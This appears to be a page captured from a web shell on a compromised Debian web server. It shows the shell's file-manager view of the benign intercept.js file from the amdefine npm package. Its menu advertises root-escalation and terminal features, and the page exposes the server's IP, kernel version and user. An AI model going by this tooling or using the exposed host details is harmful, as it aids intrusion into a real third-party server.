Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html_old /
pigeon /
node_modules /
amdefine /
Delete
Unzip
Name
Size
Permission
Date
Action
LICENSE
2.76
KB
-rw-r--r--
2016-11-02 05:59
README.md
5.99
KB
-rw-r--r--
2016-11-02 05:54
amdefine.js
9.68
KB
-rw-r--r--
2016-11-02 05:58
intercept.js
1.04
KB
-rw-r--r--
2016-11-02 05:54
package.json
1.34
KB
-rw-r--r--
2022-06-27 18:41
Save
Rename
/*jshint node: true */ var inserted, Module = require('module'), fs = require('fs'), existingExtFn = Module._extensions['.js'], amdefineRegExp = /amdefine\.js/; inserted = "if (typeof define !== 'function') {var define = require('amdefine')(module)}"; //From the node/lib/module.js source: function stripBOM(content) { // Remove byte order marker. This catches EF BB BF (the UTF-8 BOM) // because the buffer-to-string conversion in `fs.readFileSync()` // translates it to FEFF, the UTF-16 BOM. if (content.charCodeAt(0) === 0xFEFF) { content = content.slice(1); } return content; } //Also adapted from the node/lib/module.js source: function intercept(module, filename) { var content = stripBOM(fs.readFileSync(filename, 'utf8')); if (!amdefineRegExp.test(module.id)) { content = inserted + content; } module._compile(content, filename); } intercept._id = 'amdefine/intercept'; if (!existingExtFn._id || existingExtFn._id !== intercept._id) { Module._extensions['.js'] = intercept; }